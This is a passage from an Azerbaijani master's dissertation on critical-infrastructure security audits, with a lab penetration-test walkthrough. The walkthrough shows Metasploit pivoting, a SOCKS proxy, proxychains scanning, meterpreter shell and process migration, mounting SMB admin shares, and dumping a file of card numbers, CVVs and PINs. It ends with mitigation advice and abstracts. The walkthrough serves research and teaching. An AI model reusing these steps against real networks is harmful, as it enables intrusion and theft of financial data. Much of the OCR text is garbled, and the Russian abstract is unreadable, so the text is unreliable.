Example: run post/multi/manage/autoroute OPTION=value [...]
Adding a route to 10.0.22.69/255.255.240.0...

Added route to 10.0.22.69/255.255.240.0 via 10.0.17.62

Use the -p option to list all active routes

meterpreter >

Sakil 3.12. Marsrutlamanin tatbiqg edilmasi

proxychains alatindon istifads edorak tocaviizkarin maginindaki hadof sistemina daxil
olmaq iiciin socks proksi serverini iso saliriq. Tocaviizkarin maginindaki proksi
konfiqurasiyalar1 /etc/proxychains4.conf faylinda saxlanilir. socks4 9050 portundan
istifado edir. Bu sobabdon Metasploit socks proksi kdmokgi server modulunu 9050

portunda iso saliriq (Sokil 3.13).
background

use auxiliary/server/socks_proxy
show options

set SRVPORT 9050

set VERSION 4a

exploit
jobs
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msf6 auxiliary( ) > set SRVPORT 9050

SRVPORT => 9050

msf6 auxiliary( ) > set VERSION 4a

VERSION => 4a

msf6 auxiliary( ) > exploit
Auxiliary module running as background job 0.

Starting the SOCKS proxy server
msf6 auxiliary( ) > jobs

Payload Payload opts
Auxiliary: server/socks_proxy

msf6 auxiliary( ) > R

Sokil 3.13. Proksi server konfiqurasiyasi

Serverin diizgiin isladiyini gora bilorik. Hodof masinda (demol.ine.local) SMB

portunu (445) miayyan etmok Gc¢tin proxychainlarlo nmap isladirik.
proxychains nmap demol.ine.local -sT -Pn -sV -p 445

Bu skan a¢iq portlar1 miiayyan etmayin an tohliikasiz yoludur. Biz TCP port
skan modulundan istifads eds bilarik (Sakil 3.14).

root@INE:~# proxychains nmap demol.ine.local -sT -Pn -sV -p 445

[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.14

Host discovery disabled (-Pn). All addresses will be marked ‘up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:49 IST

[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.0.22.69:445 ... OK

[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.0.22.69:445 ... OK

Nmap scan report for demol.ine.local (10.0.22.69)

Host is up (0.11s latency).

PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: 0S: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds
root@INE:~#

Sokil 3.14. TCP port skani

445 portunun hadof masinda agiq oldugunu goriiniir. Meterpreter seansi {izorindan
demol.ine.local masii tarafindon paylasilan biitiin resurslar1 tapmaq tiglin net view
amrindan istifads edok (Sokil 3.15).

sessions -1 1
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shell

net view 10.0.22.69

msf6 auxiliary( ) > sessions -i 1
Starting interaction with 1...

meterpreter > shell
Process 872 created.

Channel 5 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net view 10.0.22.69
net view 10.0.22.69
System error 5 has occurred.

Access 1is denied.

C:\Windows\system32=>|}

Sokil 3.15. Paylasilan resurslara cohd

Girts radd edildi (Access i1s denied.) mesaj goriiniir. Hazirda biz NT
AUTHORITY\SYSTEM imtiyaz1 olaraq ¢alisiriq. Sokil 3.16-da gorindiyd Kimi

prosesi explorer.exe-ya kogurik va yenidan daxil olurug
migrate -N explorer.exe
shell

net view 10.0.22.69
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C:\Windows\system32>"C
Terminate channel 17?7 [y/N] V%
meterpreter > migrate -N explorer.exe
Migrating from 684 to 2764. ..
Migration completed successfTully.
meterpreter > shell
Process 2444 created.
Channel 1 created.
Microsoft wWindows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net view 10.0.22.69
net view 10.0.22.69
Shared resources at 10.0.22.69

Share name

Documents
K
The command completed successfully.

C:\Windows\system32=>|
Sakil 3.16. Windows prosesin kogurilmosi

Bu dofa iki paylasilmig resurs goro bilorik. Documents vo K kegidlori. Bu, asas
hadoafin (demol.ine.local) Null Sessiyalarina icazs verdiyini tasdigloayir, belalikla, biz
paylasilan resurslara daxil ola bilorik (Sokil 3.17). Homginin, eyni magsads bir negs
yolla nail ola bilarik.
net use D: \\10.0.22.69\Documents
net use K: \\10.0.22.69\K$

C:\Windows\system32>net use D: \\10.0.22.69\Documents
net use D: \\10.0.22.69\Documents
The command completed successfully.

C:\Windows\system32>net use K: \\10.0.22.69\K$
net use K: \\10.0.22.69\K$
The command completed successfully.

C:\Windows\system32>|}

Sakil 3.17. Paylasilan resurslara daxil olma
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Kecidlorin igarisinds na oldugunu yoxlayagq.
dir D:

dir K:
Sokil 3.18-do gosterildiyi kimi paylasilanlarin mozmununa baxa bildiyimiz tgln
onu hiicumgunun masinina yiiklays va ya oxuya bilarik.
cat D:\\Confidential.txt
cat D:\\FLAG2.txt

C:\Windows\system32="C

Terminate channel 27 [y/NI1] 4

meterpreter = cat D:\\Confidential.

2 i - BRAND : VISA

NUMBER :: 43385623613 12261
BANK - 1ST ADVANTAGE BANK
NAME = Martin Skorstad
ADDRESS = 2019 Karen Lane
COUNTRY : UNITED STATES

MONEY : $582

CNV LW Z2 - 535
EXPIRY : 10/2029
PIN : 8431

BRAND = VISA

NUMBER - 4006581447843 108
BANK - 1ST ADVANTAGE BANK
NAME = Furio Davidson
ADDRESS = 3394 Scenicview

Sokil 3.18. Kritik molumatlarin askarlanmasi

3.3 Niifuzetmo testlori auditinin naticasi olaraq todbirlar

Oldo olunmus fayl vo mozmun nifuzetms testlorinin naticasinin ugurlu
olmasinin an asas siibutdur. Olds edilmis moalumatlar gostorir ki kritik informasiya
infastrukturu tohlikasiz deyil. Buna gora do, siyasatlor va diizgliin konfiqurasiyalar
perimetr daxilinda va xaricinds hoyata kecirilmalidir.

Ayrt soboko segmenti ilo sobokonin qgalan hissasi arasinda SMBvI trafikini
bloklaym. Bu firewall, giriso noazarst siyahilart (ACL) vo ya digor saboka
tohliikasizlik cihazlarindan istifado etmokls edils bilor. SMBV1-i aktivlogdirmoaklo hor
hansi icazasiz cohdlar {igiin soboka seqmentina nazarat edilmoalidir va bu ciir cahdlarin
qarsisini almagq tigiin soboka segmentlosdirma siyasatlorini totbiq olunmalidir. Nozoaro

almaq lazimdir ki, kritik informasiya infrastrukturunda soboko seqmentasiyasi
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sobokonizi SMBv1 zaifliklorindon istifado edon hicumlardan gorumaqg ugln
mikammaol Usul deyil.

Kritik informasiya infrastrukturunun tarkibinds risklarin minimuma endirilmasi
moagsadila yalniz istifadasi lazim servislar va portlar uygun masinlarda agiq olmalidir.
Digor masinlarda bu servislor deaktiv edilmoalidir: paylasilmis resurslar dasimayan
server vo komputerlor tdglin SMB portu versiyasindan asili  olmayaraq
sonddrulmalidir

SMBV1 protokolundan istifads etmok tohliikasiz deyil vo Microsoft miistarilora
SMBvV1-don istifadoni dayandirmag: tdvsiyo edir. Istor server, istor komputerlorda
SMBvV1 dostoklonmasi domen “group policy” vasitosilo deaktiv edilmalidir.
Alternativ versiyalarimin olmasi deaktivasiyanin daimi vo qlobal olaraq buttn Kkritik
infrastruktur daxilinds edilmasini sartlondirir.

Parol uzunlugu, miirokkoblik, vo kilidlomo siyasatlorinin dizgin toskil
olunmamasi serverdo movcud olan istifadagi vo parollarin brute-force metodu il alo
kecirilmasini mumkin etdi. Group policy, Active Directory vo ya diger girislori
idaraetmo alotlori kimi alatlordan istifads edarok parol siyasati totbiq edilmalidir. Bu,
istifadacilarin siyasotdon yan kega bilmamasini va zaif va ya asanligla toaxmin edilon
parollardan istifado etmamoasini tomin edacok. Sifro siyasatinin inkisaf edon
tohdidlara qars1 effektiv qalmasini vo doayison uygunluq taloblarina cavab vermasini

tomin etmok iciin mutamadi olaraq nazardan kegirilmalidir.



NOTIiCO

Magistr dissertasiya mdévzusu olagodar todqiqatlarin analizi ilo baglamis, qarsiya

qoyulmus bir negco mosolo istigamotindo todqiqatlar aparilmaqgla asagidaki

naticalorlo yekunlagmisdir:

1.

Kritik  informasiya infrastrukturun  arxitektur-texnoloji ~ prinsiplori

aragdirilmus;

Kritik informasiya infrastrukturun kibertohliikosizlik masalalori analiz

edilmis;

Kritik informasiya infrastrukturunda auditinin togkili metodlar1 miioyyon

edilmisdir;

Bank infrastrukturunda Giriso nozarst mexanizmlori vo soxsiyyat girisinin
idara edilmasi mexanizmlari, Veb totbiglorin tohliikesizliylr vo auditi,
Soboko segmentasiyast vo bosluglarin idaro edilmosi mexanizmlori

islonmis;

Serverdo seans oldo edilmosi licin SMB boslugundan istifado edorok

eksperiment aparilmisgdir;

Marsrutlama metodu ilo hodof masindan kritik molumatlarin toplanmasi

tiglin praktiki is aparilmisdir.
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XULASO

Dissertasiya kritik informasiya infrastrukturlarinda informasiya tohlikasizliyinin
ohamiyyatina digqgot yetirir vo informasiya infrastrukturlarinin kibertahltkasizliyinin
tomin olunmasinda auditin togkili metodlarin1 aragdirir. Dissertasiya kritik
informasiya infrastrukturlarin miiasir informasiya diinyasinda shamiyyatini va genis
miqyasl istifadosini, onlarin miixtalif sektorlarda totbiqini vurgulamagla baslayir.

Toadgigat bank infrastrukturunu maliyys sektoru oldugunu noazors alaraq kritik
infrastrukturlarda giriso nozarat mexanizmlari va soXsiyyat girisinin idara edilmasi,
veb program tohllkasizliyi ilo bagli qaydalar, bosluglarin idars olunmasi
texnologiyasi vo soboko seqmentasiyasinin effektiv totbiqini arasdirir. Dissertasiya bu
informasiya tohllkasizliyi tadbirlari ilo bagl toskil edilon audit prinsip vo metodlarini
tohlil edir.

Dissertasiyanin yekun hissasinds Kkritik informasiya infrastrukturunda nifuzetms testi
ila xususi auditin kegirilmasini niimayis etdirmok ti¢iin hazirlanmisdir. Bu praktiki
hissa infrastruktur daxilindo masin va protokollarda askarlanmis bosluglarin neco
effektiv sokilda istifada oluna bilacayinin praktiki nimunasi kimi xidmat edir.
NUmuna serverlards agkarlanmis bosluglar barads informasiyanin toplanmasi va
bosluglardan istifado edorok Kritik molumatlarin aldo edilmasini niimayis etdirir.
Hoamgcinin, ntfuzetma testlorinin naticasi olaraq gorils bilocok audit islari barada bohs
olunur.

Acar sozlar: kritik infrastruktur, informasiya tohlikasizliyi, kibertohlukssizlik, audit,
nifuzetmo testi, boslug, bosluglarin idara edilmasi.



71

SUMMARY

The dissertation focuses on the importance of information security in critical
information infrastructures and examines the methods of organizing an audit to
ensure cyber security of information infrastructures. The dissertation begins by
emphasizing the importance and wide-scale use of critical information infrastructures
in the modern information world, their application in various sectors.

The research examines the effective implementation of access control mechanisms
and identity access management, web application security regulations, vulnerability
management technology and network segmentation in critical infrastructures
considering banking infrastructure as a financial sector. The dissertation analyzes the
principles and methods of auditing organized in relation to these information security
measures.

In the final part of the dissertation, it was prepared to demonstrate the conduct of a
special audit with a penetration test in the critical information infrastructure. This
practical part serves as a practical example of how vulnerabilities discovered in
machines and protocols within the infrastructure can be effectively exploited. The
example demonstrates gathering information about vulnerabilities discovered on
servers and exploiting vulnerabilities to obtain critical information. It also talks about
the audit work that can be done as a result of penetration tests.

Keywords: critical infrastructure, information security, cyber security, audit,
penetration testing, vulnerability, vulnerability management.
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PE3IOME

B auccepranuy 0CHOBHOE BHUMAaHHE YENAETCS BAXKHOCTH HH(POPMAITMOHHOM
0€30MMacHOCTH B KPUTHYECKUX HWH(POPMAIIMOHHBIX HHPACTPYKTypax u
paccMaTpuBaOTCA METO/IbI OpTraHU3aIUH ayauTa sl 0OecTieueHus
krbepOe30nacHOCTH HHPOPMAIIMOHHBIX HHPPACTPYKTYp. JuccepTaius HaunHaeTCs
C MOAYEPKUBAHUS BaXXKHOCTHU U IIMPOKOTO UCTIOTB30BAHUS KPUTHUUECKUX
UH(POPMALIMOHHBIX HHPPACTPYKTYP B COBPEMEHHOM MH(OPMAIIMIOHHOM MUpE, UX
NPUMEHEHUS B PA3TUYHBIX OTPACISIX.

B uccnenoBanuu paccmatpuaercs 3Qp(EeKTUBHAs peain3alnsg MEXaHU3MOB
KOHTPOJIS JOCTYIIA U YIIPABICHHU TOCTYIIOM K YAOCTOBEPEHUSAM, IIPaBUIIA
0€3011acCHOCTH BEO-TPUIIOKEHUH, TEXHOJIOTHS YIPABIEHUS YSI3BUMOCTIIMU U
CEerMEHTAIMS CETH B KPUTHUYECKUX HHPPACTPYKTYpax ¢ y4ETOM OaHKOBCKOM
MH(PACTPYKTYpHI Kak (PUHAHCOBOIO ceKTopa. B quccepranuu aHamu3upyoTcs
IIPUHLAIBI 1 METOJbI IPOBEACHUS ayAuTa, OPTaHU30BAHHOI'O IPUMEHUTEIBHO K
3TUM MEpaM 3alIUThl HUH()OpMALUY.

B 3axmrounTenbHON YacTu AMCcepTay Obljia MOATOTOBICHA IEMOHCTPAITHUS
MIPOBEJICHUS CTIEUAIHHOTO ay/IUTa C TECTOM Ha MPOHUKHOBEHUE B KPUTHUECKYIO
MH(POPMALIMOHHYIO HH(PACTPYKTYPY. ITa NPAKTHUUECKAsl YACTh CIYKUT
IPAKTUYECKUM ITPUMEPOM TOTO, KaK MOKHO 3(PPEKTUBHO UCIIOJIb30BAThH YSI3BUMOCTH,
oOHapy>KeHHbIE B MalllMHAX U MIPOTOKOJIaX B MH(ppacTpykType. B npumepe
JEMOHCTpUpyeTcsi coop uHboOpMaIiK 00 YI3BUMOCTSAX, OOHAPYKEHHBIX HA CepBepax,
Y UCTIOJIh30BaHME YSA3BUMOCTEH JIJIsl TIOMY4YeHHs BaXKHON MHpopMaIi. B HeM Takke
rOBOPUTCS 00 ayAUTOPCKOM paboTe, KOTOPYIO MOYKHO BBINIOJHUTH B PE3yJIbTATE
TECTOB Ha MPOHUKHOBEHUE.

KiroueBble cjioBa: Kputnieckas nHOpacTpykTypa, HHGOpMAaIIMOHHAS
0e30MacHOCTh, KHOEpOE30NaCHOCTh, AyAUT, TECTUPOBAHUE HA IPOHUKHOBEHHUE,
ySI3BUMOCTb, YIIPABICHUE YI3BUMOCTSIMHU.



